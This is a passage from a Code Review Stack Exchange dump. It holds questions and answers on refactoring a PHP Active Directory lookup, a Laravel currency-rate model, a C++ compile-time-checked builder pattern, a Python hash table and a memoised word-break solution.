"body": "<p>There certainly are ways to break this down to more understandable chunks, in fact, there are refactoring techniques that address your specific issue, long method.</p>\n\n<p>You can look at <a href=\"https://refactoring.guru/smells/long-method\" rel=\"nofollow noreferrer\">https://refactoring.guru/smells/long-method</a></p>\n\n<p>The most common way to simplify a long method is just to break it up to smaller parts using the Extract method technique.</p>\n\n<p>So for example, first, I would take out the pattern creation and make an own method for that (I'm assuming you are working in a class):</p>\n\n<pre><code>/**\n * @param $filters\n * @return string\n */\nprivate function getPattern($filters): string\n{\n if ($filters !== null) {\n $sn = utf8_decode($filters->name);\n $givenName = utf8_decode($filters->firstName);\n $employeeId = $filters->id;\n } else {\n $sn = '';\n $givenName = '*';\n $employeeId = '';\n }\n $pattern = '(&';\n\n if ($givenName !== '') {\n $pattern .= '(givenName=' . $givenName . ')';\n }\n\n if ($sn !== '') {\n $pattern .= '(sn=' . $sn . ')';\n }\n\n if ($employeeId !== '') {\n $pattern .= '(employeeid=' . $employeeId . ')';\n }\n\n $pattern .= ')';\n return $pattern;\n}\n\nprivate function _searchADUser($filters) {\n try {\n $pattern = $this->getPattern($filters);\n\n $con = ldap_connect($this->ldap->connection);\n ...\n</code></pre>\n\n<p>You can refactor the getPattern method further but let's wait with that now and see what else we can do.</p>\n\n<p>The other chunk would probably be to take out that ldap stuff and put that in it's own method:</p>\n\n<pre><code>/**\n * @param string $pattern\n * @return array\n * @throws ErrorException\n */\nprivate function getUserInfo(string $pattern): array\n{\n $con = ldap_connect($this->ldap->connection);\n ldap_bind($con, $this->ldap->username, $this->ldap->password);\n\n $result = ldap_search($con, $this->ldap->dn, $pattern);\n $userInfo = ldap_get_entries($con, $result);\n\n if ($userInfo['count'] === 0) {\n throw new ErrorException('Die Suche lieferte keine Ergebnisse.');\n }\n return $userInfo;\n}\n</code></pre>\n\n<p>The main method know looks something like this:</p>\n\n<pre><code>private function _searchADUser($filters) {\n try {\n $pattern = $this->getPattern($filters);\n $userInfo = $this->getUserInfo($pattern);\n</code></pre>\n\n<p>When refactoring, I like to try to make the code as clear as I can and one thing that makes code difficult to read is when the naming changes, my advice would be to stick be the name already in use.</p>\n\n<pre><code>$name = $userInfo[$i]['sn'][0];\n</code></pre>\n\n<p>would become</p>\n\n<pre><code>$sn = $userInfo[$i]['sn'][0];\n</code></pre>\n\n<p>Break them out in their own methods:</p>\n\n<pre><code>private function getSN(array $userInfo, int $i): string\n{\n if (array_key_exists('sn', $userInfo[$i])) {\n $sn = $userInfo[$i]['sn'][0];\n } else {\n $sn = '--';\n }\n return $sn;\n}\n\nprivate function getGivenName(array $userInfo, int $i): string\n{\n if (array_key_exists('givenname', $userInfo[$i])) {\n $givenname = $userInfo[$i]['givenname'][0];\n } else {\n $givenname = '--';\n }\n return $givenname;\n}\n\nprivate function getEmployeeId(array $userInfo, int $i): string\n{\n if (isset($userInfo[$i]['employeeid'])) {\n $employeeId = $userInfo[$i]['employeeid'][0];\n } else {\n $employeeId = '--';\n }\n\n return $employeeId;\n}\n</code></pre>\n\n<p>The for loop would then start like this:</p>\n\n<pre><code>for ($i = 0; $i < $userInfo['count']; $i++) {\n $sn = $this->getSN($userInfo, $i);\n $givenName = $this->getGivenName($userInfo, $i);\n $employeeId = $this->getEmployeeId($userInfo, $i);\n</code></pre>\n\n<p>As you can see, you can break up the code into smaller chunks and by doing so making it more approachable. </p>\n\n<p>I will stop here but please continue to explore the extract method technique and continue to apply it.</p>\n\n<p>Hopes this helps.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T06:42:19.077",
"Id": "213433",
"ParentId": "212838",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213433",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:07:58.817",
"Id": "212838",
"Score": "2",
"Tags": [
"php",
"active-directory"
],
"Title": "Retrieving data from active directory with PHP"
} | 212838 |
<p>I need:</p>
<ol>
<li><p>Daily save new exchange rates from the REST API in the database.</p></li>
<li><p>Return the current exchange rate for a given currency, the whole
table for a given day, the exchange rate for a given currency
depending on the given currency and convert currency.</p></li>
</ol>
<p>The code works, but I know it should not look that way. I do not know how to write it better.</p>
<p>2019_01_31_155244_create_nbp_rates_table.php</p>
<pre><code><?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateNbpRatesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::connection('mysql_nbp')->create('rates', function (Blueprint $table) {
$table->increments('id');
$table->char('no', 20)->unique();
$table->date('effectiveDate')->unique();
$table->json('table_a');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::connection('mysql_nbp')->dropIfExists('rates');
}
}
</code></pre>
<p>NBP.php - model</p>
<pre><code><?php
namespace Modules\NBP\Entities;
use Illuminate\Database\Eloquent\Model;
use Exception;
use GuzzleHttp\Client;
use GuzzleHttp\Exception\RequestException;
class NBP extends Model
{
protected $table = 'rates';
protected $connection = 'mysql_nbp';
protected $fillable = [
'no', 'effectiveDate', 'table_a'
];
public $date;
protected $_ratesCurrent;
protected $_ratesByDate;
function __construct()
{
parent::__construct();
}
public function getCurrentRates()
{
return $this->getByDateRates(self::max('effectiveDate'));
}
public function getByDateRates($date)
{
$this->date = $date;
$this->validatedDate();
while (true) {
$result = self::where('effectiveDate', $this->date)->get()->toArray();
if (count($result) == 0) {
$this->date = date('Y-m-d', strtotime($this->date . "-1 days"));
} else {
$result = self::where('effectiveDate', $this->date)->get()->toArray();
$this->effectiveDate = $result[0]['effectiveDate'];
$this->no = $result[0]['no'];
$this->table = json_decode($result[0]['table_a'], true);
$this->_ratesByDate = $this->generateTable();
break;
}
}
return $this->_ratesByDate;
}
public function getCurrentRateByIso($iso)
{
if (!isset($this->_ratesCurrent)) {
$this->getCurrentRates();
}
if (array_key_exists($iso, $this->_ratesCurrent)) {
return $this->_ratesCurrent[$iso];
} else {
throw new Exception('Brak kursu dla podanego kodu ISO', 400);
}
}
public function getByDateRateByIso($iso, $date)
{
$this->date = $date;
$this->validatedDate();
$this->getByDateRates($date);
if (array_key_exists($iso, $this->_ratesByDate)) {
return $this->_ratesByDate[$iso];
} else {
throw new Exception('Brak kursu dla podanego kodu ISO', 400);
}
}
public function exchange($isoFrom, $isoTo, $amount, $date = false)
{
if (!is_numeric($amount)) {
throw new Exception('Nieprawidłowa kwota', 400);
}
$this->date = $date;
if ($isoFrom == $isoTo) {
return $amount;
}
if ($this->date === false) {
$this->date = date('Y-m-d');
} else {
$this->validatedDate();
}
if ($isoFrom == 'PLN') {
return $amount * $this->getByDateRateByIso($isoTo, $this->date);
}
if ($isoTo == 'PLN') {
return $amount / $this->getByDateRateByIso($isoFrom, $this->date);
}
return $amount * $this->getByDateRateByIso($isoFrom, $this->date) / $this->getByDateRateByIso($isoTo, $this->date);
}
private function validatedDate()
{
if (!$this->date) {
throw new Exception('Brak daty', 400);
}
try {
new \DateTime($this->date);
$this->date = date('Y-m-d', strtotime($this->date));
} catch (\Exception $e) {
throw new Exception('Nieprawidłowy format daty', 400);
}
}
private function generateTable()
{
if (!$this->table) {
throw new Exception('Brak wyników', 400);
}
$rates = [];
foreach ($this->table as $rate) {
$rates[(string) $rate['code']] = $rate['mid'];
}
$this->rates = $rates;
return $this->rates;
}
public function downloadNowTables() {
$begin = new \DateTime(date('Y-m-d', strtotime('- 1 week')));
$end = new \DateTime(date('Y-m-d'));
$end = $end->modify('+1 day');
$interval = new \DateInterval('P1D');
$daterange = new \DatePeriod($begin, $interval, $end);
$GuzzleClient = new Client([
'base_uri' => 'http://api.nbp.pl/api/',
'defaults' => [
'headers' => ['Accept' => 'application/json']
]
]);
foreach ($daterange as $date) {
var_dump($date->format("Y-m-d"));
while (true) {
try {
if (self::where('effectiveDate',$date->format("Y-m-d"))->count() == 0) {
$response = $GuzzleClient->get('exchangerates/tables/a/' . $date->format("Y-m-d"));
$array = json_decode($response->getBody(), true);
$rates = [];
foreach ($array[0]['rates'] as $rate) {
$rates[$rate['code']] = $rate;
}
self::insert([
'no' => $array[0]['no'],
'effectiveDate' => $array[0]['effectiveDate'],
'table_a' => json_encode($rates),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
]);
}
break;
} catch (RequestException $e) {
if (strpos($e->getMessage(), 'Brak danych')) {
break;
}
}
}
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:10:09.417",
"Id": "411651",
"Score": "0",
"body": "I need? Does the code below completes to two tasks?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:48:05.637",
"Id": "411768",
"Score": "0",
"body": "Yes. It is working fine now and I need your opinions on the things I have done in this code to improve myself."
}
] | [
{
"body": "<p>The API's URL is harcoded here, shouldn't it be better to use a configuration file? What if you want to use a different one or the API owners change the address?</p>\n\n<pre><code>'base_uri' => 'http://api.nbp.pl/api/',\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:30:34.803",
"Id": "212939",
"ParentId": "212839",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:16:30.767",
"Id": "212839",
"Score": "1",
"Tags": [
"php",
"api",
"laravel",
"rest"
],
"Title": "Laravel show and update currency from rest api"
} | 212839 |
<p><a href="https://codereview.stackexchange.com/a/212835/189787">This java answer</a> made me wonder whether it would be possible to implement the builder pattern in C++ in a way that checks at compile-time whether all necessary members of the constructed object are actually set before the object is constructed. <a href="http://coliru.stacked-crooked.com/a/b7069f8709a75805" rel="nofollow noreferrer">This</a> is what I came up with:</p>
<pre><code>struct Foo {
int x_;
int y_;
int z_;
};
template <bool x_set = 0, bool y_set = 0, bool z_set = 0>
struct FooBuilder {
int x_, y_, z_;
Foo build() {
static_assert(x_set && y_set && z_set, "all members must be initialized before building a Foo!");
return { x_, y_, z_};
}
FooBuilder<1,y_set,z_set> x(int val) {
FooBuilder<1,y_set,z_set> result;
result.x_ = val;
result.y_ = y_;
result.z_ = z_;
return result;
}
FooBuilder<x_set,1,z_set> y(int val) {
FooBuilder<x_set,1,z_set> result;
result.x_ = val;
result.y_ = y_;
result.z_ = z_;
return result;
}
FooBuilder<x_set,y_set,1> z(int val) {
FooBuilder<x_set,y_set,1> result;
// optional check to allow z to be set only once
static_assert(!z_set, "z may not be initialized twice!");
result.x_ = val;
result.y_ = y_;
result.z_ = z_;
return result;
}
};
int main() {
FooBuilder<> b;
auto f1 = b.x(1).y(2).z(3).build();
auto f1a = b.z(3).y(2).x(1).build();
auto f2 = b.x(1).y(2).build(); // fails with static assertion
auto f3 = b.x(1).y(2).z(3).z(4).build(); // fails with static assertion
auto partially_initialized_builder = b.x(1);
auto f4 = partially_initialized_builder.build(); // fails...
auto f5 = partially_initialized_builder.y(4).z(6).build(); // runs
return 0;
}
</code></pre>
<p>With this approach, I like the fact that programming errors that result from forgotten arguments to the builder can be caught at compile-time. However, I'm not sure if it is too verbose, since the whole content of the builder has to be copied/moved in each setter method (even if the copies might be optimized away). </p>
<p>So my main questions are: </p>
<ol>
<li>Would such a pattern actually be useful in practice?</li>
<li>Is there an elegant way of sharing the member variables of the <code>Builder</code> objects, despite the results of each setter call being of a different type? (For cheap-to-move types, I am thinking along the lines of a "data block"-like struct, that gets <code>move</code>d from <code>this</code> into the <code>result</code>.)</li>
<li>Any other downsides to this approach?</li>
</ol>
<p>P.S.: Please disregard the lack of access control (<code>x_</code> etc. should be private), this question is more about the high-level picture ;-)</p>
| [] | [
{
"body": "<blockquote>\n <p>Would such a pattern actually be useful in practice?</p>\n</blockquote>\n\n<p>Not really in my opinion. In C++20 you can use designated initializer lists like <code>{.min = 10, .max = 20}</code> and I mean if the argument is not clear from the context than there are various ways to improve this, even today.</p>\n\n<ol>\n<li>A comment. <code>Foo f(/*min=*/10);</code></li>\n<li>User-defined literals <code>Rectangle r(10_width, 200_height);</code></li>\n<li>Strong types: <code>Player p(Position(10, 10));</code></li>\n<li>Variables: <code>const int size = 10; Square s(size);</code></li>\n</ol>\n\n<p>This also doesn't work with non-copyable, non-moveable types, although those are rare in practice. The members also need to be default constructible unfortunately.</p>\n\n<p>Some thoughts:</p>\n\n<ol>\n<li><p>Note that your code has undefined behavior, since two of the variables are not set on the first call.</p></li>\n<li><p>The <code>build</code> function is required in Java, but in C++ you can use a conversion operator. Although this suffers from the same problem that expression templates have: Using type deduction will not get you a <code>Foo</code>.</p></li>\n<li><p>Delete copy construction for the builder object, since there is no reason to copy it.</p></li>\n<li><p>Don't use <code>0</code> and <code>1</code> for bools please; <code>false</code> and <code>true</code> is clearer IMO.</p></li>\n<li><p>Consider using <code>noexcept</code> and <code>constexpr</code> (if applicable).</p></li>\n</ol>\n\n<blockquote>\n <p>Is there an elegant way of sharing the member variables of the Builder objects, despite the results of each setter call being of a different type? (For cheap-to-move types, I am thinking along the lines of a \"data block\"-like struct, that gets moved from this into the result.)</p>\n</blockquote>\n\n<p>Yes that's a good idea. Here's my take on it:</p>\n\n<pre><code>template <bool x_set = false, bool y_set = false, bool z_set = false>\nstruct FooBuilder {\n constexpr FooBuilder() noexcept = default;\n FooBuilder(const FooBuilder &) = delete;\n FooBuilder &operator=(const FooBuilder &) = delete;\n\n constexpr auto x(int val) noexcept {\n members_.x_ = val;\n return FooBuilder<true, y_set, z_set>(std::move(*this));\n }\n constexpr auto y(int val) noexcept {\n members_.y_ = val;\n return FooBuilder<x_set, true, z_set>(std::move(*this));\n }\n constexpr auto z(int val) noexcept {\n static_assert(!z_set, \"cannot set z twice!\");\n members_.z_ = val;\n return FooBuilder<x_set, y_set, true>(std::move(*this));\n }\n\n constexpr operator Foo() noexcept {\n static_assert(x_set && y_set && z_set, \"all members must be set\");\n return {members_.x_, members_.y_, members_.z_};\n }\n constexpr Foo build() noexcept { return *this; }\n\nprivate:\n template <bool... args>\n constexpr FooBuilder(FooBuilder<args...> &&other) noexcept\n : members_{std::move(other.members_.x_), std::move(other.members_.y_),\n std::move(other.members_.z_)} {}\n\n template <bool, bool, bool> friend struct FooBuilder;\n\n struct Proxy {\n int x_, y_, z_;\n } members_{};\n};\n</code></pre>\n\n<p>There is still a lot of boilerplate, but unfortunately it cannot be removed since C++ doesn't have reflection yet.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:33:36.057",
"Id": "411656",
"Score": "0",
"body": "It's also possible to write a macro to generate such a builder automagically :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:37:24.953",
"Id": "411658",
"Score": "1",
"body": "Thanks for your insights - especially the one about the C++20 designated initializer lists. They are almost exactly the feature that I wanted to emulate. Also, the variadic move constructor really reduces the amount of boilerplate code, great idea! (And the points about the copy constructor, 0/1, uninitialized variables are valid, I'll excuse that with me being a bit sloppy while writing the code ;) )"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:05:01.317",
"Id": "411684",
"Score": "0",
"body": "@Rakete1111, have you thought about tuple of `std::optional`s? I thought about using string literals as template arguments to create struct with named variables, but then recalled that I cannot name a member of a struct with compile time string. It would be great if one could overload operator-> to return one of those optionals properly named, and at the build phase check if all have been initialized. It will of course place constraints of being moveable and destructible, but I don't think it is too much to ask."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:38:05.137",
"Id": "411689",
"Score": "0",
"body": "@Incomputable We need reflection like yesterday :)"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:23:07.350",
"Id": "212843",
"ParentId": "212841",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212843",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T13:33:46.897",
"Id": "212841",
"Score": "4",
"Tags": [
"c++",
"c++14",
"template-meta-programming"
],
"Title": "Builder pattern that forces all members to be initialized at compile-time"
} | 212841 |
<pre><code>class HashTable:
'''
Only supports integers as keys right now.
Values cannot be None, obviously.
Every operation is theoretically most efficient.
Uses probing as collision resolution strategy.
'''
def __init__(self, init_size=8, load_factor_max=0.75):
# A hash table entry will be of the form <key, value, hash, reverse_index>.
# Hash is stored just to facilitate quicker comparison matching while finding the key.
# That last part `reverse_index` is the index in `used_slot_indices` corresponding to this entry.
# Start with 8 elements, because that is what happens in the official Python dict.
self.table = [None] * init_size
self.num_entries = 0
self.load_factor_max = load_factor_max
# A **contiguous** list storing the slot indices of all the used entries in the table.
# The reason why we are maintaining this is because we want hash table iteration to be fast.
# The hash table array itself has a lot of Dummy/None values, but this list will
# store that info contiguously.
# Its actual length will always be equal to the number of new entries done.
# But when some entries are removed, it will have some `None` values at the end.
# The number of non-None entries will always be equal to `self.num_entries`.
# If the hash table has the data [None, 1104, None, None, 5121, None], then this array
# will be [1, 4] indicating the 0-indexed slot indices of the keys 1104 and 5121 respectively.
self.used_slot_indices = []
# Do not modify this; its a constant.
self.DUMMY_ENTRY = ()
### Important Note: All the fields defined here should be handled in `self._copy_from_other()`.
def __str__(self):
ret_value = ''
for idx, entry in enumerate(self.table):
ret_value += '{}. {}\n'.format(idx, entry)
return ret_value
def size(self):
return self.num_entries
def get_entries(self):
'''
Returns the list of entries present in the hash table.
Does not preserve the insertion order.
'''
entries = []
for num_entry in range(self.num_entries):
used_slot_index = self.used_slot_indices[num_entry]
entry = self.table[used_slot_index]
entries.append(entry)
return entries
def _compute_hash(self, key):
return key % len(self.table)
def _increment_probe_index(self, probe_index):
'''
Will return all values in the range `[0, len(self.table)]` exactly once.
'''
return ((5 * probe_index) + 1) % len(self.table)
def _get_key_slot_index(self, key):
'''
Get the slot index in the table array where the key is present / ready-to-be-inserted.
'''
index = self._compute_hash(key)
original_hash = index
dummy_index = None
current_probe_length = 0
# Start probing...
while True:
current_probe_length += 1
entry = self.table[index]
if entry is None:
# Found an empty slot, which means the key is absent.
# Return dummy if possible, so that it will be used to insert any new entry when
# called by `self.put()`
return dummy_index or index
if entry == self.DUMMY_ENTRY:
# Save the slot index of the first dummy found.
dummy_index = dummy_index or index
# Comparing the hash first to avoid unnecessary key object comparisons which are costly
elif entry[2] == original_hash and entry[0] == key:
# Found the key!
return index
if current_probe_length > len(self.table):
# Looked at all the slots, no need of proceeding further
# This should never occur theoretically!!
raise Exception("Hash table full!!")
index = self._increment_probe_index(index)
def _resize_if_needed(self):
load_factor = (self.size() * 1.0) / len(self.table)
if load_factor < self.load_factor_max:
return
# Just make a bigger hash table and copy all the entries.
ht_bigger = HashTable(len(self.table) * 2, self.load_factor_max)
for entry in self.get_entries():
ht_bigger.put(entry[0], entry[1])
self._copy_from_other(ht_bigger)
def _copy_from_other(self, other_hash_table):
'''
Copy all the data from another hash table.
'''
self.table = other_hash_table.table
self.num_entries = other_hash_table.num_entries
self.load_factor_max = other_hash_table.load_factor_max
self.used_slot_indices = other_hash_table.used_slot_indices
def get(self, key):
slot_index = self._get_key_slot_index(key)
entry = self.table[slot_index]
if entry and entry != self.DUMMY_ENTRY:
return entry[1]
return None
def put(self, key, value):
key_hash = self._compute_hash(key)
new_entry = None
slot_index = self._get_key_slot_index(key)
if not self.table[slot_index]:
# It is either None or Dummy
# Adding a new key
if len(self.used_slot_indices) == self.num_entries:
# Expand the used_slot_indices list
self.used_slot_indices.append([])
# A new reverse-index value will always go at the end
reverse_index = self.num_entries
new_entry = (key, value, key_hash, reverse_index)
self.used_slot_indices[reverse_index] = slot_index
self.num_entries += 1
else:
# An entry is already present for the key. So overwrite...
# Just change the value part. Rest of the tuple is same as the entry being overwritten.
new_entry = (key, value, key_hash, self.table[slot_index][3])
self.table[slot_index] = new_entry
self._resize_if_needed()
return value
def _remove_from_used_slot_indices(self, entry):
'''
Removes the reverse index of the entry.
It just copies the last non-None value in `used_slot_indices` to the reverse index,
thus maintaining the coniguous property.
'''
# The index of this entry in `used_slot_indices`
reverse_index = entry[3]
if reverse_index == self.num_entries - 1:
# If this is already the reverse index, then just make it None and return.
self.used_slot_indices[reverse_index] = None
return
# Bring the last non-None value present in `used_slot_indices` to this place.
self.used_slot_indices[reverse_index] = self.used_slot_indices[
self.num_entries - 1]
# Update the `reverse_index` part of the entry pointed to by the last
# non-None value.
# The slot index of the entry described above.
slot_index = self.used_slot_indices[reverse_index]
entry = self.table[slot_index]
self.table[slot_index] = (entry[0], entry[1], entry[2], reverse_index)
# Mark the last reverse index position as empty.
self.used_slot_indices[self.num_entries - 1] = None
def remove(self, key):
slot_index = self._get_key_slot_index(key)
if not self.table[slot_index]:
raise KeyError('Key "{}" not found'.format(key))
entry = self.table[slot_index]
self.table[slot_index] = self.DUMMY_ENTRY
self._remove_from_used_slot_indices(entry)
self.num_entries -= 1
def main():
ht = HashTable()
ht.put(1, 2)
ht.put(9, 3)
ht.put(17, 5)
ht.remove(9)
print(ht.get(17))
ht.put(7, 10)
ht.put(0, 11)
ht.put(8, 10)
ht.put(10, 10)
ht.remove(17)
ht.put(1, 3)
ht.put(11, 12)
ht.put(100, 3)
ht.put(201, 12)
ht.put(200, 12)
print(ht.get_entries())
if __name__ == "__main__":
main()
</code></pre>
<p>I would be grateful if I could get feedback about any of these or otherwise:</p>
<ul>
<li>Correctness</li>
<li>Performance</li>
<li>Readability</li>
<li>Python standards/conventions</li>
<li>Comment quality </li>
</ul>
| [] | [
{
"body": "<p><strong>Tests</strong></p>\n<p>Instead of that <code>main</code>, which I assume you wrote for testing...</p>\n<p>You can create actual tests, with the <code>unittests</code> module.</p>\n<pre><code>import unittest\n\nclass HashTableTest(unittest.TestCase):\n def setUp(self):\n self.hashtable = HashTable()\n self.hashtable.put(1, 2)\n self.hashtable.put(9, 3)\n self.hashtable.put(17, 5)\n \n def test_get(self):\n self.assertEqual(self.hashtable.get(17), 5)\n\n def test_remove(self):\n self.hashtable.remove(17)\n self.assertEqual(self.hashtable.get(17), None)\n\n def test_get_entries(self):\n self.assertEqual(\n self.hashtable.get_entries(), \n [(1, 2, 1, 0), (9, 3, 1, 1), (17, 5, 1, 2)]\n )\n\n\nif __name__ == "__main__":\n unittest.main()\n</code></pre>\n<p><strong>Magic Methods</strong></p>\n<p>You currently make use of the <code>__str__</code> magic method, but the are plenty more, which you could make use of</p>\n<ul>\n<li><code>__len__</code></li>\n<li><code>__getitem__</code></li>\n<li><code>__setitem__</code></li>\n<li><code>__iter__</code></li>\n</ul>\n<p><strong>Misc</strong></p>\n<ul>\n<li><p>A dictionary in Python has the ability to add a default <code>get(key, default=None)</code></p>\n</li>\n<li><p>Overall I think your comments are helpful, but sometimes you go overboard.</p>\n<p>Code should be self explanatory, Personally, I would prefer adding more text to the docstrings instead of those block comments (I find them sometimes hard to read)</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:17:07.533",
"Id": "212850",
"ParentId": "212844",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "212850",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T14:40:08.413",
"Id": "212844",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"hash-map"
],
"Title": "Hash table in Python"
} | 212844 |
<p>For practice, I solved Leetcode <a href="https://leetcode.com/problems/word-break/" rel="nofollow noreferrer">139. worbreak</a> question:</p>
<blockquote>
<p>Given a non-empty string s and a dictionary wordDict containing a list of non-empty words, determine if s can be segmented into a space-separated sequence of one or more dictionary words.</p>
</blockquote>
<p>I have the solution to use the recursive with in-memory hash table to reduced to duplication calculation. but it seems like works for some case but not all. any suggestions?</p>
<pre><code>def wordbreak(self, s, wordDict):
wordDict = set(wordDict)
str_map = dict()
if not s or not wordDict: return False
def check(s):
if s in str_map: return str_map[s]
if s in wordDict:
str_map[s] = True
return True
for i, c in enumerate(s[1:], 1):
if s[:i] in set(wordDict) and check(s[i:]):
str_map[s[:i]] = True
str_map[s] = False
return False
return check(s)
if __name__ == '__main__':
testcase = [
dict(tc=dict(s='ab', wordDict=['a', 'b']), exp=True),
dict(tc=dict(s='leetcode', wordDict=['leet', 'code']), exp=True),
dict(tc=dict(
s="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab",
wordDict=["a", "aa", "aaa", "aaaa", "aaaaa", "aaaaaa", "aaaaaaa", "aaaaaaaa", "aaaaaaaaa",
"aaaaaaaaaa"]), exp=False),
]
for tc in testcase:
res = wordbreak(**tc['tc'])
print(res) # True, True, False
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:44:40.667",
"Id": "411675",
"Score": "0",
"body": "yes. the code works but just have time limit for the third case s='aaaa...'. and seems I already use in-memo but wondering why i still have time limit"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:21:56.750",
"Id": "411683",
"Score": "0",
"body": "I can't see anything in your code which accounts for the space separators between the words. Are you sure that it implements the spec?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:12:29.147",
"Id": "411685",
"Score": "1",
"body": "i use str_map dict to record each substring result. and iterate the string s under recursive function `check`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:36:03.817",
"Id": "411765",
"Score": "0",
"body": "I tried to actually test the code and got `TypeError: wordbreak() missing 1 required positional argument: 'self'`. My best guess as to how to fix it (remove the `self` parameter) results in output `False` `False` `False`, which while it seems to meet the spec does not correspond to the unused `exp` keys or the comment after `print(res)`. I am therefore voting to close as \"Not working code\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:38:13.640",
"Id": "411766",
"Score": "0",
"body": "that `self` is due to the way the leetcode system works. The OP should have removed it, but closing the question because of that seems a bit harsh."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:47:35.387",
"Id": "411767",
"Score": "0",
"body": "@MaartenFabré, that's just one of the problems. If it had been the only problem and I had found a simple fix then I would instead write an answer and mention it there."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:23:49.487",
"Id": "411780",
"Score": "0",
"body": "it also lacks a `return True` after `str_map[s[:i]] = True`"
}
] | [
{
"body": "<h1>bug</h1>\n\n<pre><code>def wordBreak(self, s, wordDict):\n wordDict = set(wordDict)\n str_map = dict()\n if not s or not wordDict: return False\n\n def check(s):\n if s in str_map: return str_map[s]\n if s in wordDict:\n str_map[s] = True\n return True\n for i, c in enumerate(s[1:], 1):\n if s[:i] in set(wordDict) and check(s[i:]):\n str_map[s[:i]] = True\n return True # <== you forgot this one\n str_map[s] = False\n return False\n\n return check(s)\n</code></pre>\n\n<p>passes all cases in 48ms</p>\n\n<h1>set(wordDict)</h1>\n\n<p>No need to do this in each iteration if you do that at the start of the algorithm</p>\n\n<h1><code>c</code></h1>\n\n<p>this variable is not used. Python convention uses <code>_</code> for variables that are not used</p>\n\n<h1>reinventing the wheel (cache)</h1>\n\n<p>Python is <em>batteries included</em></p>\n\n<p>so you can as easily use <code>functools.lru_cache</code> instead of implementing your own cache:</p>\n\n<pre><code>from functools import lru_cache\n\ndef wordBreak(self, s, wordDict):\n wordDict = set(wordDict)\n if not s or not wordDict: return False\n @lru_cache(None)\n def check(s):\n if s in wordDict:\n return True\n for i, _ in enumerate(s[1:], 1):\n if s[:i] in wordDict and check(s[i:]):\n return True\n return False\n return check(s)\n</code></pre>\n\n<p>passes in 36ms</p>\n\n<hr>\n\n<h1>alternative version</h1>\n\n<p>instead of running over the string, you can also try to build a graph of all occurrences of the words in <code>wordDict</code>, and then look if you can find a path from <code>0</code> to <code>len(s)</code></p>\n\n<h2>all chars in <code>wordDict</code></h2>\n\n<p>you can check whether all chars in <code>s</code> appear in a word in <code>wordDict</code></p>\n\n<pre><code>def validate_all_chars(text, words):\n all_chars = set()\n for word in words:\n all_chars.update(word)\n return all_chars.issuperset(text)\n</code></pre>\n\n<p>or with <code>itertools.chain</code>:</p>\n\n<pre><code>from itertools import chain\ndef validate_all_chars(text, words):\n all_chars = set(chain.from_iterable(words))\n return all_chars.issuperset(text)\n</code></pre>\n\n<h2>occurrences:</h2>\n\n<p>Unfortunately, <code>re.finditer</code> and <code>re.findall</code> only give non-overlapping occurrences, so we can't use them here. So we'll have to build our own finder:</p>\n\n<pre><code>def find_occurrences(pattern: str, text: str):\n idx = 0\n while True:\n idx = text.find(pattern, idx)\n if idx == -1:\n return\n yield idx, idx + len(pattern)\n idx += 1\n</code></pre>\n\n<h2>build a graph</h2>\n\n<pre><code>from collections import defaultdict\ndef build_span_graph(text, words):\n all_spans = defaultdict(set)\n spans = (find_occurrences(word, text) for word in words)\n for span in spans:\n for begin, end in span:\n all_spans[begin].add(end)\n return all_spans\n</code></pre>\n\n<h2>walk the graph:</h2>\n\n<pre><code>def find_path(spans, length, begin=0, visited=None):\n visited = set() if visited is None else visited\n visited.add(begin)\n ends = spans[begin]\n return length in ends or any(\n find_path(spans, length=length, begin=new_begin, visited=visited)\n for new_begin in ends\n if new_begin not in visited and new_begin in spans\n )\n</code></pre>\n\n<p>Here you can try to optimize a bit by first visiting 